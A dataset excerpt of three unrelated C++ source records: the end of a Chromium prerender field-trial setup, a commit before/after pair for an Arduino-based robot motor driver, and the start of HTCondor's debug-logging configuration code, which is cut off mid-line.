FieldTrialList::FactoryGetFieldTrial(\n \"Prefetch\", divisor, \"ContentPrefetchPrefetchOff\",\n 2013, 6, 30, NULL));\n const int kPrefetchOnGroup = trial->AppendGroup(\"ContentPrefetchPrefetchOn\",\n prefetch_probability);\n PrerenderManager::SetIsPrefetchEnabled(trial->group() == kPrefetchOnGroup);\n}\n\nvoid SetupPrerenderFieldTrial() {\n const FieldTrial::Probability divisor = 1000;\n\n FieldTrial::Probability control_probability;\n FieldTrial::Probability experiment_multi_prerender_probability;\n FieldTrial::Probability experiment_15min_ttl_probability;\n FieldTrial::Probability experiment_no_use_probability;\n\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n \/\/ Use very conservatives and stable settings in beta and stable.\n const FieldTrial::Probability release_prerender_enabled_probability = 980;\n const FieldTrial::Probability release_control_probability = 10;\n const FieldTrial::Probability\n release_experiment_multi_prerender_probability = 0;\n const FieldTrial::Probability release_experiment_15min_ttl_probability = 10;\n const FieldTrial::Probability release_experiment_no_use_probability = 0;\n COMPILE_ASSERT(\n release_prerender_enabled_probability + release_control_probability +\n release_experiment_multi_prerender_probability +\n release_experiment_15min_ttl_probability +\n release_experiment_no_use_probability == divisor,\n release_experiment_probabilities_must_equal_divisor);\n\n control_probability = release_experiment_15min_ttl_probability;\n experiment_multi_prerender_probability =\n release_experiment_multi_prerender_probability;\n experiment_15min_ttl_probability = release_control_probability;\n experiment_no_use_probability = release_experiment_no_use_probability;\n } else {\n \/\/ In testing channels, use more experiments and a larger control group to\n \/\/ improve quality of data.\n const FieldTrial::Probability dev_prerender_enabled_probability = 250;\n const FieldTrial::Probability dev_control_probability = 250;\n const FieldTrial::Probability\n dev_experiment_multi_prerender_probability = 250;\n const FieldTrial::Probability dev_experiment_15min_ttl_probability = 125;\n const FieldTrial::Probability dev_experiment_no_use_probability = 125;\n COMPILE_ASSERT(dev_prerender_enabled_probability + dev_control_probability +\n dev_experiment_multi_prerender_probability +\n dev_experiment_15min_ttl_probability +\n dev_experiment_no_use_probability == divisor,\n dev_experiment_probabilities_must_equal_divisor);\n\n control_probability = dev_experiment_15min_ttl_probability;\n experiment_multi_prerender_probability =\n dev_experiment_multi_prerender_probability;\n experiment_15min_ttl_probability = dev_control_probability;\n experiment_no_use_probability = dev_experiment_no_use_probability;\n }\n\n int prerender_enabled_group = -1;\n scoped_refptr<FieldTrial> trial(\n FieldTrialList::FactoryGetFieldTrial(\n \"Prerender\", divisor, \"PrerenderEnabled\",\n 2013, 6, 30, &prerender_enabled_group));\n const int control_group =\n trial->AppendGroup(\"PrerenderControl\",\n control_probability);\n const int experiment_multi_prerender_group =\n trial->AppendGroup(\"PrerenderMulti\",\n experiment_multi_prerender_probability);\n const int experiment_15_min_TTL_group =\n trial->AppendGroup(\"Prerender15minTTL\",\n experiment_15min_ttl_probability);\n const int experiment_no_use_group =\n trial->AppendGroup(\"PrerenderNoUse\",\n experiment_no_use_probability);\n\n const int trial_group = trial->group();\n if (trial_group == prerender_enabled_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_PRERENDER_GROUP);\n } else if (trial_group == control_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_CONTROL_GROUP);\n } else if (trial_group == experiment_multi_prerender_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_MULTI_PRERENDER_GROUP);\n } else if (trial_group == experiment_15_min_TTL_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_15MIN_TTL_GROUP);\n } else if (trial_group == experiment_no_use_group) {\n PrerenderManager::SetMode(\n PrerenderManager::PRERENDER_MODE_EXPERIMENT_NO_USE_GROUP);\n } else {\n NOTREACHED();\n }\n}\n\n} \/\/ end namespace\n\nvoid ConfigureOmniboxPrerender();\nvoid ConfigureSpeculativePrefetching();\nvoid ConfigureLocalPredictor();\n\nvoid ConfigurePrefetchAndPrerender(const CommandLine& command_line) {\n enum PrerenderOption {\n PRERENDER_OPTION_AUTO,\n PRERENDER_OPTION_DISABLED,\n PRERENDER_OPTION_ENABLED,\n PRERENDER_OPTION_PREFETCH_ONLY,\n };\n\n PrerenderOption prerender_option = PRERENDER_OPTION_AUTO;\n if (command_line.HasSwitch(switches::kPrerenderMode)) {\n const std::string switch_value =\n command_line.GetSwitchValueASCII(switches::kPrerenderMode);\n\n if (switch_value == switches::kPrerenderModeSwitchValueAuto) {\n prerender_option = PRERENDER_OPTION_AUTO;\n } else if (switch_value == switches::kPrerenderModeSwitchValueDisabled) {\n prerender_option = PRERENDER_OPTION_DISABLED;\n } else if (switch_value.empty() ||\n switch_value == switches::kPrerenderModeSwitchValueEnabled) {\n \/\/ The empty string means the option was provided with no value, and that\n \/\/ means enable.\n prerender_option = PRERENDER_OPTION_ENABLED;\n } else if (switch_value ==\n switches::kPrerenderModeSwitchValuePrefetchOnly) {\n prerender_option = PRERENDER_OPTION_PREFETCH_ONLY;\n } else {\n prerender_option = PRERENDER_OPTION_DISABLED;\n LOG(ERROR) << \"Invalid --prerender option received on command line: \"\n << switch_value;\n LOG(ERROR) << \"Disabling prerendering!\";\n }\n }\n\n switch (prerender_option) {\n case PRERENDER_OPTION_AUTO:\n SetupPrefetchFieldTrial();\n SetupPrerenderFieldTrial();\n break;\n case PRERENDER_OPTION_DISABLED:\n PrerenderManager::SetIsPrefetchEnabled(false);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_DISABLED);\n break;\n case PRERENDER_OPTION_ENABLED:\n PrerenderManager::SetIsPrefetchEnabled(true);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_ENABLED);\n break;\n case PRERENDER_OPTION_PREFETCH_ONLY:\n PrerenderManager::SetIsPrefetchEnabled(true);\n PrerenderManager::SetMode(PrerenderManager::PRERENDER_MODE_DISABLED);\n break;\n default:\n NOTREACHED();\n }\n\n ConfigureOmniboxPrerender();\n ConfigureSpeculativePrefetching();\n ConfigureLocalPredictor();\n}\n\nvoid ConfigureOmniboxPrerender() {\n \/\/ Field trial to see if we're enabled.\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kDisabledProbability = 10;\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n kDisabledProbability = 1;\n }\n scoped_refptr<FieldTrial> omnibox_prerender_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kOmniboxTrialName, kDivisor, \"OmniboxPrerenderEnabled\",\n 2012, 12, 30, &g_omnibox_trial_default_group_number));\n omnibox_prerender_trial->AppendGroup(\"OmniboxPrerenderDisabled\",\n kDisabledProbability);\n}\n\nbool IsOmniboxEnabled(Profile* profile) {\n if (!profile)\n return false;\n\n if (!PrerenderManager::IsPrerenderingPossible())\n return false;\n\n \/\/ Override any field trial groups if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kPrerenderFromOmnibox)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kPrerenderFromOmnibox);\n\n if (switch_value == switches::kPrerenderFromOmniboxSwitchValueEnabled)\n return true;\n\n if (switch_value == switches::kPrerenderFromOmniboxSwitchValueDisabled)\n return false;\n\n DCHECK(switch_value == switches::kPrerenderFromOmniboxSwitchValueAuto);\n }\n\n const int group = FieldTrialList::FindValue(kOmniboxTrialName);\n return group == FieldTrial::kNotFinalized ||\n group == g_omnibox_trial_default_group_number;\n}\n\nvoid ConfigureSpeculativePrefetching() {\n \/\/ Field trial to see if we're enabled.\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kLearningProbability = 0;\n FieldTrial::Probability kPrefetchingProbability = 0;\n\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n switch (channel) {\n case chrome::VersionInfo::CHANNEL_CANARY:\n case chrome::VersionInfo::CHANNEL_DEV:\n kLearningProbability = 90;\n kPrefetchingProbability = 1;\n break;\n\n case chrome::VersionInfo::CHANNEL_BETA:\n kLearningProbability = 5;\n break;\n\n case chrome::VersionInfo::CHANNEL_STABLE:\n case chrome::VersionInfo::CHANNEL_UNKNOWN:\n break;\n }\n\n scoped_refptr<FieldTrial> speculative_prefetching_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kSpeculativePrefetchingTrialName,\n kDivisor,\n \"Disabled\",\n 2012, 12, 30,\n NULL));\n\n if (kLearningProbability > 0) {\n g_speculative_prefetching_learning_group =\n speculative_prefetching_trial->AppendGroup(\"Learning\",\n kLearningProbability);\n }\n if (kPrefetchingProbability > 0) {\n g_speculative_prefetching_prefetching_group =\n speculative_prefetching_trial->AppendGroup(\"Prefetching\",\n kPrefetchingProbability);\n }\n}\n\nbool IsSpeculativeResourcePrefetchingLearningEnabled(Profile* profile) {\n if (!profile || profile->IsOffTheRecord())\n return false;\n\n \/\/ Override any field trial groups if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kSpeculativeResourcePrefetching)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kSpeculativeResourcePrefetching);\n\n return switch_value == switches::kSpeculativeResourcePrefetchingLearning;\n }\n\n const int group = FieldTrialList::FindValue(\n kSpeculativePrefetchingTrialName);\n return group == g_speculative_prefetching_learning_group;\n}\n\nbool IsSpeculativeResourcePrefetchingEnabled(Profile* profile) {\n if (!profile)\n return false;\n\n \/\/ Check if the user has set a command line flag.\n if (CommandLine::ForCurrentProcess()->HasSwitch(\n switches::kSpeculativeResourcePrefetching)) {\n const std::string switch_value =\n CommandLine::ForCurrentProcess()->GetSwitchValueASCII(\n switches::kSpeculativeResourcePrefetching);\n return switch_value == switches::kSpeculativeResourcePrefetchingEnabled;\n }\n\n const int group = FieldTrialList::FindValue(\n kSpeculativePrefetchingTrialName);\n return group == g_speculative_prefetching_prefetching_group;\n}\n\nvoid ConfigureLocalPredictor() {\n const FieldTrial::Probability kDivisor = 100;\n\n FieldTrial::Probability kEnableProbability = 90;\n chrome::VersionInfo::Channel channel = chrome::VersionInfo::GetChannel();\n if (channel == chrome::VersionInfo::CHANNEL_STABLE ||\n channel == chrome::VersionInfo::CHANNEL_BETA) {\n kEnableProbability = 1;\n }\n scoped_refptr<FieldTrial> local_predictor_trial(\n FieldTrialList::FactoryGetFieldTrial(\n kLocalPredictorTrialName, kDivisor, \"Disabled\",\n 2013, 12, 31, &g_local_predictor_default_group_number));\n local_predictor_trial->AppendGroup(\"Enabled\", kEnableProbability);\n}\n\nbool IsLocalPredictorEnabled() {\n const int group = FieldTrialList::FindValue(kLocalPredictorTrialName);\n return (group != FieldTrial::kNotFinalized &&\n group != g_omnibox_trial_default_group_number);\n}\n\n} \/\/ namespace prerender\n<|endoftext|>"} {"text":"<commit_before>#include <string.h>\n\n#include \"serial\/ASIOSerialPort.h\"\n#include <iostream>\n#include \"actuators\/motors\/OSMC_driver\/OSMC_driver.hpp\"\n#include <time.h>\n\nusing namespace std;\n\nASIOSerialPort arduinoLeft(\"\/dev\/igvc_2012_left_motor_shield\", 9600);\nASIOSerialPort arduinoRight(\"\/dev\/igvc_2012_right_motor_shield\", 9600);\nASIOSerialPort arduinoEncoder(\"\/dev\/igvc_2012_right_encoder_shield\", 9600);\n\nOSMC_driver::~OSMC_driver()\n{\n\tstopMotors();\n\tarduinoRight.close();\n\tarduinoLeft.close();\n\tarduinoEncoder.close();\n}\n\n\/\/Checks we are connected and able to send and receive data from the arduinos\nbool OSMC_driver::arduinoCheck()\n{\n\tstd::cout << \"Testing serial API...\" << std::endl;\n\tarduinoLeft.write(\"T\");\n\tarduinoRight.write(\"T\");\n\tsleep(0.01);\n\tif (arduinoRight.readln() == \"T\" and arduinoLeft.readln() == \"T\")\n\t{\n\t\tstd::cout<<\"Successfully read from Arduinos\" << std::endl;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tstd::cout<<\"Failed to read from Arduinos\"<<std::endl;\n\t\tarduinoLeft.close();\n\t\tarduinoRight.close();\n\t\treturn false;\n\t}\n}\n\n\/\/writes pwm to arduinos setting both motors to the same pwm and direction (0 = forwards, 1 = backwards)\nvoid OSMC_driver::setPwm(char pwm, Direction dir)\n{\n if(dir==FORWARD)\n {\n setRightLeftPwm(pwm, 0, pwm, 0);\n }\n else if(dir==BACKWARD)\n {\n\n }\n else\n {\n cout<<\"Bad Direction\"<<endl;\n }\n}\n\n\/\/ Writes to arduinos a string of ints dirRight, pwmRight, dirLeft, pwmLeft.\nvoid OSMC_driver::setRightLeftPwm(char pwmRight, char dirRight, char pwmLeft, char dirLeft)\n{\n pwmRight = adjustSpeedRight(pwmRight, dirRight);\n dirLeft = adjustDirLeft(dirLeft);\n pwmLeft = adjustSpeedLeft(pwmLeft, dirLeft);\n string w = \"SW\";\n w.append(intToString(dirRight));\n w.append(\" \");\n w.append(intToString(pwmRight));\n w.append(\" \");\n w.append(intToString(dirLeft));\n w.append(\" \");\n w.append(intToString(pwmLeft));\n arduinoRight.write(w);\n string w1 = \"SW\";\n w1.append(intToString(dirLeft));\n w1.append(\" \");\n w1.append(intToString(pwmLeft));\n w1.append(\" \");\n w1.append(intToString(dirRight));\n w1.append(\" \");\n w1.append(intToString(pwmRight));\n arduinoLeft.write(w1);\n}\n\n\/\/adjusts the pwm of the right motors based on the direction\nchar OSMC_driver::adjustSpeedRight(char pwm, char dir)\n{\n if (dir == 1)\n {\n pwm = 255-pwm;\n }\n if (dir == 0)\n {\n pwm = pwm;\n }\n return (pwm);\n}\n\n\/\/adjusts the pwm of the left motors based on the direction\nchar OSMC_driver::adjustSpeedLeft(char pwm, char dir)\n{\n if (dir == 1)\n {\n pwm = 255-pwm;\n }\n if (dir == 0)\n {\n pwm = pwm;\n }\n return (pwm);\n}\n\n\/\/adjusts the direction of the left motors because they are mirrors of the right motors\nchar OSMC_driver::adjustDirLeft(char dirLeft)\n{\n dirLeft = 1-dirLeft;\n return (dirLeft);\n}\n\n\/\/turn the robot at a pwm around a circle of a certain radius with a direction\nvoid OSMC_driver::turn(double radius, int pwm, Direction dir) \/\/dir = 0 Right dir = 1 Left\n{\n double v1 = 0;\n double v2 = 0;\n double halfWB = WHEELBASE\/2;\n double comp1 = (radius+halfWB)\/(radius-halfWB);\n v2 = (2*pwm*comp1)\/(1+comp1);\n v1 = 2*pwm-v2;\n if (dir == RIGHT)\n {\n setRightLeftPwm(v1, 0, v2, 0);\n }\n else if(dir == LEFT)\n {\n setRightLeftPwm(v2, 0, v1, 0);\n }\n else\n {\n cout<<\"Bad direction\"<<endl;\n }\n\n}\n\n\/\/Used in writing integers to the arduinos as strings\nstring OSMC_driver::intToString(int input)\n{\n std::ostringstream s;\n s << input;\n return s.str();\n}\n\n\/\/Used in writing doubles to the arduinos as strings\nstring OSMC_driver::doubleToString(double input)\n{\n std::ostringstream s;\n s << input;\n return s.str();\n}\n\n\/*\n\/\/Go forward a set distance at a set speed in a certain direction\nvoid OSMC_driver::forward(char pwm, char dir, double dist)\n{\n setPwm(pwm, dir)\n string d = \" \";\n d.append(doubleToString(dist));\n arduino.write(d);\n \/\/TODO event listener for a ! from arduino\n \/\/while(arduino.readln() != \"!\") {};\n}\n\nvoid OSMC_driver::turn(double radius, double degree, int pwm, char dir) \/\/dir = 0 Right dir = 1 Left\n{\n double v1 = 0;\n double v2 = 0;\n double halfWB = WHEELBASE\/2;\n double comp1 = (radius+halfWB)\/(radius-halfWB);\n v2 = (2*pwm*comp1)\/(1+comp1);\n v1 = 2*pwm-v2;\n if (dir == 0)\n {\n setRightLeftPwm(v1, 0, v2, 0);\n }\n else if(dir == 1)\n {\n setRightLeftPwm(v2, 0, v1, 0);\n }\n else\n {\n cout<<\"Bad direction\"<<endl;\n }\n string r = \"SR\";\n r.append(doubleToString(degree))\n arduino.write(r);\n}\n*\/\n\n\/\/Dont quite work at the moment\n\/\/functions for reading encoder data from the arduinos and moving a set distance\n\/*\ndouble OSMC_driver::readEncoder()\n{\n string r = \"R\";\n arduinoEncoder.write(\"R\");\n sleep(0.1);\n std::string dist1 = arduinoEncoder.readln();\n double dist = ::atof(dist1.c_str());\n return dist;\n}\n\nvoid OSMC_driver::encoderLoop(double totalDist)\n{\n double dist = readEncoder();\n while (dist<totalDist)\n {\n dist = readEncoder();\n cout<<dist<<endl;\n sleep(0.05);\n }\n cout<<\"Dropped Loop\"<<endl;\n stopMotors();\n}\n\nvoid OSMC_driver::goForwardOld(double totalDist, char pwm, char dir)\n{\n string f = \"F\";\n arduinoEncoder.write(f);\n sleep(1);\n string var;\n var = \"\";\n var = arduinoEncoder.readln();\n setRightLeftPwm(pwm, dir, pwm, dir);\n encoderLoop(totalDist);\n}\n*\/\n\n\/\/Stops the motors\nvoid OSMC_driver::stopMotors()\n{\n setRightLeftPwm(0,1,0,1);\n}\n\n\n\n\n<commit_msg>working on enums<commit_after>#include <string.h>\n\n#include \"serial\/ASIOSerialPort.h\"\n#include <iostream>\n#include \"actuators\/motors\/OSMC_driver\/OSMC_driver.hpp\"\n#include <time.h>\n\nusing namespace std;\n\nASIOSerialPort arduinoLeft(\"\/dev\/igvc_2012_left_motor_shield\", 9600);\nASIOSerialPort arduinoRight(\"\/dev\/igvc_2012_right_motor_shield\", 9600);\nASIOSerialPort arduinoEncoder(\"\/dev\/igvc_2012_right_encoder_shield\", 9600);\n\nOSMC_driver::~OSMC_driver()\n{\n\tstopMotors();\n\tarduinoRight.close();\n\tarduinoLeft.close();\n\tarduinoEncoder.close();\n}\n\n\/\/Checks we are connected and able to send and receive data from the arduinos\nbool OSMC_driver::arduinoCheck()\n{\n\tstd::cout << \"Testing serial API...\" << std::endl;\n\tarduinoLeft.write(\"T\");\n\tarduinoRight.write(\"T\");\n\tsleep(0.01);\n\tif (arduinoRight.readln() == \"T\" and arduinoLeft.readln() == \"T\")\n\t{\n\t\tstd::cout<<\"Successfully read from Arduinos\" << std::endl;\n\t\treturn true;\n\t}\n\telse\n\t{\n\t\tstd::cout<<\"Failed to read from Arduinos\"<<std::endl;\n\t\tarduinoLeft.close();\n\t\tarduinoRight.close();\n\t\treturn false;\n\t}\n}\n\n\/\/writes pwm to arduinos setting both motors to the same pwm and direction (0 = forwards, 1 = backwards)\nvoid OSMC_driver::setPwm(char pwm, char dir)\n{\n \/*\n if(dir==FORWARD)\n {\n setRightLeftPwm(pwm, 0, pwm, 0);\n }\n else if(dir==BACKWARD)\n {\n\n }\n else\n {\n cout<<\"Bad Direction\"<<endl;\n }\n *\/\n setRightLeftPwm(pwm,dir,pwm,dir);\n}\n\n\/\/ Writes to arduinos a string of ints dirRight, pwmRight, dirLeft, pwmLeft.\nvoid OSMC_driver::setRightLeftPwm(char pwmRight, char dirRight, char pwmLeft, char dirLeft)\n{\n pwmRight = adjustSpeedRight(pwmRight, dirRight);\n dirLeft = adjustDirLeft(dirLeft);\n pwmLeft = adjustSpeedLeft(pwmLeft, dirLeft);\n string w = \"SW\";\n w.append(intToString(dirRight));\n w.append(\" \");\n w.append(intToString(pwmRight));\n w.append(\" \");\n w.append(intToString(dirLeft));\n w.append(\" \");\n w.append(intToString(pwmLeft));\n arduinoRight.write(w);\n string w1 = \"SW\";\n w1.append(intToString(dirLeft));\n w1.append(\" \");\n w1.append(intToString(pwmLeft));\n w1.append(\" \");\n w1.append(intToString(dirRight));\n w1.append(\" \");\n w1.append(intToString(pwmRight));\n arduinoLeft.write(w1);\n}\n\n\/\/adjusts the pwm of the right motors based on the direction\nchar OSMC_driver::adjustSpeedRight(char pwm, char dir)\n{\n if (dir == 1)\n {\n pwm = 255-pwm;\n }\n if (dir == 0)\n {\n pwm = pwm;\n }\n return (pwm);\n}\n\n\/\/adjusts the pwm of the left motors based on the direction\nchar OSMC_driver::adjustSpeedLeft(char pwm, char dir)\n{\n if (dir == 1)\n {\n pwm = 255-pwm;\n }\n if (dir == 0)\n {\n pwm = pwm;\n }\n return (pwm);\n}\n\n\/\/adjusts the direction of the left motors because they are mirrors of the right motors\nchar OSMC_driver::adjustDirLeft(char dirLeft)\n{\n dirLeft = 1-dirLeft;\n return (dirLeft);\n}\n\n\/\/turn the robot at a pwm around a circle of a certain radius with a direction\nvoid OSMC_driver::turn(double radius, int pwm, Direction dir) \/\/dir = 0 Right dir = 1 Left\n{\n double v1 = 0;\n double v2 = 0;\n double halfWB = WHEELBASE\/2;\n double comp1 = (radius+halfWB)\/(radius-halfWB);\n v2 = (2*pwm*comp1)\/(1+comp1);\n v1 = 2*pwm-v2;\n if (dir == RIGHT)\n {\n setRightLeftPwm(v1, 0, v2, 0);\n }\n else if(dir == LEFT)\n {\n setRightLeftPwm(v2, 0, v1, 0);\n }\n else\n {\n cout<<\"Bad direction\"<<endl;\n }\n\n}\n\n\/\/Used in writing integers to the arduinos as strings\nstring OSMC_driver::intToString(int input)\n{\n std::ostringstream s;\n s << input;\n return s.str();\n}\n\n\/\/Used in writing doubles to the arduinos as strings\nstring OSMC_driver::doubleToString(double input)\n{\n std::ostringstream s;\n s << input;\n return s.str();\n}\n\n\/*\n\/\/Go forward a set distance at a set speed in a certain direction\nvoid OSMC_driver::forward(char pwm, char dir, double dist)\n{\n setPwm(pwm, dir)\n string d = \" \";\n d.append(doubleToString(dist));\n arduino.write(d);\n \/\/TODO event listener for a ! from arduino\n \/\/while(arduino.readln() != \"!\") {};\n}\n\nvoid OSMC_driver::turn(double radius, double degree, int pwm, char dir) \/\/dir = 0 Right dir = 1 Left\n{\n double v1 = 0;\n double v2 = 0;\n double halfWB = WHEELBASE\/2;\n double comp1 = (radius+halfWB)\/(radius-halfWB);\n v2 = (2*pwm*comp1)\/(1+comp1);\n v1 = 2*pwm-v2;\n if (dir == 0)\n {\n setRightLeftPwm(v1, 0, v2, 0);\n }\n else if(dir == 1)\n {\n setRightLeftPwm(v2, 0, v1, 0);\n }\n else\n {\n cout<<\"Bad direction\"<<endl;\n }\n string r = \"SR\";\n r.append(doubleToString(degree))\n arduino.write(r);\n}\n*\/\n\n\/\/Dont quite work at the moment\n\/\/functions for reading encoder data from the arduinos and moving a set distance\n\/*\ndouble OSMC_driver::readEncoder()\n{\n string r = \"R\";\n arduinoEncoder.write(\"R\");\n sleep(0.1);\n std::string dist1 = arduinoEncoder.readln();\n double dist = ::atof(dist1.c_str());\n return dist;\n}\n\nvoid OSMC_driver::encoderLoop(double totalDist)\n{\n double dist = readEncoder();\n while (dist<totalDist)\n {\n dist = readEncoder();\n cout<<dist<<endl;\n sleep(0.05);\n }\n cout<<\"Dropped Loop\"<<endl;\n stopMotors();\n}\n\nvoid OSMC_driver::goForwardOld(double totalDist, char pwm, char dir)\n{\n string f = \"F\";\n arduinoEncoder.write(f);\n sleep(1);\n string var;\n var = \"\";\n var = arduinoEncoder.readln();\n setRightLeftPwm(pwm, dir, pwm, dir);\n encoderLoop(totalDist);\n}\n*\/\n\n\/\/Stops the motors\nvoid OSMC_driver::stopMotors()\n{\n setRightLeftPwm(0,1,0,1);\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n\n\/************************************************************************\n**\n**\tSet up the various dprintf variables based on the configuration file.\n**\n************************************************************************\/\n#define _FILE_OFFSET_BITS 64\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"condor_string.h\" \n#include \"condor_sys_types.h\"\n\n#if HAVE_BACKTRACE\n#include \"sig_install.h\"\n#endif\n\nint\t\tTermlog = 0;\n\nextern int\t\tDebugFlags;\nextern FILE\t\t*DebugFPs[D_NUMLEVELS+1];\nextern off_t\t\tMaxLog[D_NUMLEVELS+1];\nextern int \t\t\tMaxLogNum[D_NUMLEVELS+1];\nextern char\t\t*DebugFile[D_NUMLEVELS+1];\nextern char\t\t*DebugLock;\nextern const char\t\t*_condor_DebugFlagNames[];\nextern int\t\t_condor_dprintf_works;\nextern time_t\tDebugLastMod;\nextern int\t\tDebugUseTimestamps;\nextern int DebugContinueOnOpenFailure;\nextern int\t\tlog_keep_open;\n\nextern void\t\t_condor_set_debug_flags( const char *strflags );\nextern void\t\t_condor_dprintf_saved_lines( void );\n\n#if HAVE_EXT_GCB\nvoid\t_condor_gcb_dprintf_va( int flags, char* fmt, va_list args );\nextern \"C\" void Generic_set_log_va(void(*app_log_va)(int level, char *fmt, va_list args));\n#endif\n\n#if HAVE_BACKTRACE\nstatic void\nsig_backtrace_handler(int signum)\n{\n\tdprintf_dump_stack();\n\n\t\t\/\/ terminate for the same reason.\n\tstruct sigaction sa;\n\tsa.sa_handler = SIG_DFL;\n\tsigemptyset(&sa.sa_mask);\n\tsa.sa_flags = 0;\n\tsigaction(signum, &sa, NULL);\n\tsigprocmask(SIG_SETMASK, &sa.sa_mask, NULL);\n\n\traise(signum);\n}\n\nstatic void\ninstall_backtrace_handler(void)\n{\n\tsigset_t fullset;\n\tsigfillset( &fullset );\n\tinstall_sig_handler_with_mask(SIGSEGV, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGABRT, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGILL, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGFPE, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGBUS, &fullset, sig_backtrace_handler);\n}\n#endif\n\nint\ndprintf_config_ContinueOnFailure ( int fContinue )\n{\n int fOld = DebugContinueOnOpenFailure;\n\tDebugContinueOnOpenFailure = fContinue;\n\treturn fOld;\n}\n\nvoid\ndprintf_config( const char *subsys )\n{\n\tchar pname[ BUFSIZ ];\n\tchar *pval;\n\tstatic int first_time = 1;\n\tint want_truncate;\n\tint debug_level;\n\tFILE *debug_file_fp;\n\tint log_open_default = TRUE;\n\n\t\/* \n\t** We want to initialize this here so if we reconfig and the\n\t**\tdebug flags have changed, we actually use the new\n\t** flags. -Derek Wright 12\/8\/97 \n\t*\/\n\tDebugFlags = D_ALWAYS;\n\n\t\/*\n\t** First, add the debug flags that are shared by everyone.\n\t*\/\n\tpval = param(\"ALL_DEBUG\");\n\tif( pval ) {\n\t\t_condor_set_debug_flags( pval );\n\t\tfree( pval );\n\t}\n\n\t\/*\n\t** Then, pick up the subsys_DEBUG parameters. Note: if we don't have\n\t** anything set, we just leave it as D_ALWAYS.\n\t*\/\n\t(void)sprintf(pname, \"%s_DEBUG\", subsys);\n\tpval = param(pname);\n\tif( pval ) {\n\t\t_condor_set_debug_flags( pval );\n\t\tfree( pval );\n\t}\n\n#ifdef WIN32\n\t\t\/* Two reasons why we need to lock the log in Windows\n\t\t * (when a lock is configured)\n\t\t * 1) File rotation requires exclusive access in Windows.\n\t\t * 2) O_APPEND doesn't guarantee atomic writes in Windows\n\t\t *\/\n\tDebugShouldLockToAppend = 1;\n#else\n\tDebugShouldLockToAppend = param_boolean_int(\"LOCK_DEBUG_LOG_TO_APPEND\",0);\n#endif\n\n\t\/*\n\t**\tIf this is not going to the terminal, pick up the name\n\t**\tof the log file, maximum log size, and the name of the\n\t**\tlock file (if it is specified).\n\t*\/\n\tif( !( Termlog) ) {\n\t\tfor (debug_level = 0; debug_level <= D_NUMLEVELS; debug_level++) {\n\t\t\twant_truncate = 0;\n\t\t\tif (debug_level == 0) {\n\t\t\t\t\/*\n\t\t\t\t** the level 0 file gets all debug messages; thus, the\n\t\t\t\t** offset into DebugFlagNames is off by one, since the\n\t\t\t\t** first level-specific file goes into the other arrays at\n\t\t\t\t** index 1\n\t\t\t\t*\/\n\t\t\t\t(void)sprintf(pname, \"%s_LOG\", subsys);\n\t\t\t} else {\n\t\t\t\t(void)sprintf(pname, \"%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t}\n\n\t\t\t\/\/ Hold a temporary copy of the old file pointer until\n\t\t\t\/\/ *after* the param -- param can dprintf() in some cases\n\t\t\t{\n\t\t\t\tchar\t*tmp = DebugFile[debug_level];\n\n\t\t\t\t\/\/ NEGOTIATOR_MATCH_LOG is necessary by default, but debug_level\n\t\t\t\t\/\/ is not 0\n\t\t\t\tif(debug_level == 0)\n\t\t\t\t{\n\t\t\t\t\tchar\t*tmp2 = param(pname);\n\n\t\t\t\t\t\/\/ No default value found, so use $(LOG)\/$(SUBSYSTEM)Log\n\t\t\t\t\tif(!tmp2) {\n\t\t\t\t\t\t\/\/ This char* will never be freed, but as long as\n\t\t\t\t\t\t\/\/ defaults are defined in condor_c++_util\/param_info.in\n\t\t\t\t\t\t\/\/ we will never get here.\n\t\t\t\t\t\tchar *str;\n\t\t\t\t\t\tchar *log = param(\"LOG\");\n\t\t\t\t\t\tchar *lsubsys = param(\"SUBSYSTEM\");\n\t\t\t\t\t\tif(!log || !lsubsys) {\n\t\t\t\t\t\t\tEXCEPT(\"Unable to find LOG or SUBSYSTEM.\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tstr = 